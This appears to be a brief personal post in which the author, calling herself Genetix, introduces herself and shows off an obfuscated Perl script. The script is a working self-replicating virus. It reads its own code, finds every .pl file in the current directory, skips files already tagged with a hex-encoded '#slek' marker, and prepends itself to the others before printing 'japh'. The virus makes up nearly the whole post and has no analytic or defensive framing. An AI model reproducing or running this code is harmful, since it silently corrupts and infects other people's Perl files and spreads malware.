Hello, it's me Genetix! Otherwise known as slek, kels, kelsey, kelscat, perlgirl and god knows how many others :o

#!/usr/bin/perl
#slek
open$a,'<',$0;$b=~s/.//g;$b=~s/(.*)/join('',map{defined($_)?$_:()}map{scalar<$a>}0..10)/e #VERY
;close$a;map{(sub{($d)=@_;open(my$e,'+<',$d );if(<$e>&&!(<$e>=~/\x23\x73\x6c\x65\x6b/)) { #UGLY
open (my$f,'+<', $d);my$g=~s/.//g;${'x'.'y'}=do{local$/;<$f>}; $g=~s/(.*)/$b.${'x'.'y'}/e #PERL
;seek$e,0,0;print$e($g);truncate$e,tell$e;;close$f}close$e; })->($_)}grep{/\.pl$/}glob'*' #CODE
;print map{chr}/(\d{3})/g for'106 097 112 104';